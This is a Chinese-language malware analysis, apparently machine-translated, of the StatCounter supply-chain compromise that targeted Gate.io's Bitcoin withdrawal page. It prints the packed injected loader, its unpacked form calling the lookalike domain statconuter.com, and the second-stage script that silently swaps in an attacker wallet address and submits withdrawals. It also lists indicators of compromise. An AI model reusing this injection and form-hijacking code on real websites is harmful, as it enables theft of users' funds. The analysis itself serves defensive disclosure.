11月4日,攻击者入侵了StatCounter(一个用于分析网络流量的平台)。 该服务用于收集有关网站访问者的统计信息,类似于Google Analytics(分析)。 为此,网站管理员可以在网站的每个页面上添加一个外部JavaScript标记,其中包含一段StatCounter代码
-www.statcounter [。] Com / counter / counter.js。 使用StatCounter,攻击者可以使用此平台将JavaScript代码注入所有站点。 但是,攻击的目标是一种资源-Gate.io加密货币交换。
根据自己的
数据 ,StatCounter有超过200万个参与站点;它每月收集超过100亿网页访问量的统计数据。 它的Alexa评分略高于5,000(相比之下,Debian Linux官方网站debian.org具有可比的评分)。

攻击者在
www.statcounter [。] Com / counter / counter.js上修改了该脚本,并在脚本中间添加了下面所示形式的一段恶意代码。 这是不寻常的,因为通常会将恶意代码添加到合法文件的开头或结尾。 如果您不阅读现有脚本中间的代码,则更难注意。
eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
该脚本是使用Dean Edwards包装器(可能是最受欢迎的JavaScript包装器)创建的。 但是,您可以简单地将其解压缩,这将导致实际的脚本代码运行,如下所示。
myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
该代码段检查URL是否包含统一资源标识符(URI)
myaccount / withdraw / BTC 。 基于此,我们可以得出结论,攻击者的目标是比特币平台。 找到所需的脚本后,该脚本会在网页上添加一个新的脚本元素,嵌入代码
www.statconuter [。] Com / c.php。
请注意,攻击者注册的域名与合法的StatCounter非常相似。 两个字母的区别-在查看杂志的可疑活动时很难注意到。 顺便说一句,在检查域的被动DNS时,我们发现它在2010年因操作违规而被阻止。

脚本再次针对特定的标识符(URI):
myaccount / withdraw / BTC 。 在撰写本文时,在所有加密货币交换中,只有Gate.io才具有带有此URI的有效页面。 似乎这种特定的交换是攻击的目标。 该网站非常受欢迎:其Alexa评分为26,251,而在中国的评分为8,308。

此外,根据coinmarketcap.com的数据,每天通过该平台的交易额为数百万美元,其中包括160万美元的比特币。 通常,攻击者对Gate.io的兴趣很容易解释。

网页
www.gate [。] Io / myaccount / withdraw / BTC(请参见下文)用于将比特币从gate.io上的帐户转移到外部地址。

带有statconuter [。] Com / c.php的第二阶段有效负载旨在窃取比特币。 该脚本(也使用Dean Edwards打包)被嵌入到网页中,用于将比特币翻译成Gate.io。 下面的解压缩版本。
document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
合法的Gate.io页面具有
doSubmit
函数,该函数在用户单击“提交”按钮时被调用。 在我们的案例中,攻击者对其进行了更改。
恶意脚本会自动用属于攻击者的地址替换用户的比特币钱包地址,例如
1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
。 每次访客下载statconuter [。] Com / c.php脚本时,攻击者服务器都会生成一个新地址。
该脚本使用受害者输入的金额(如果受害者转移了十个以上的比特币)或从帐户中删除加密货币的每日限额。 在我们的测试帐户中,注销限制设置为100 BTC。 最后,脚本提交一个表格,该表格将资金从受害者的帐户转移到攻击者的钱包地址。
由于受害者在单击“发送”按钮后会更改钱包,因此可能无法对受害者进行资金重定向。 这发生得非常快,并且没有视觉显示。
每当请求恶意脚本时,都会生成一个新的网络罪犯比特币地址,因此我们无法估算其收入。 如果检查我们在测试机上使用的地址,则余额为零。

结论
我们不知道在这次攻击中有多少比特币被盗。 但是,该事件表明攻击者如何采取行动来攻击特定资源,尤其是加密货币交易所。 为了从一个交易所的用户那里窃取比特币,他们破坏了数百万个网站使用的分析平台,其中包括几个政府网站。
此外,它表明,即使您的站点已更新并受到可靠保护,它仍然容易受到第三方资源的攻击。 再次提醒您,第三方外部JavaScript代码可能随时更改,恕不另行通知。
我们警告StatCounter和Gate.io有关恶意活动。
折衷指标
恶意网址•
www.statcounter [。] Com / counter / counter.js
•
www.statconuter [。] Com / c.php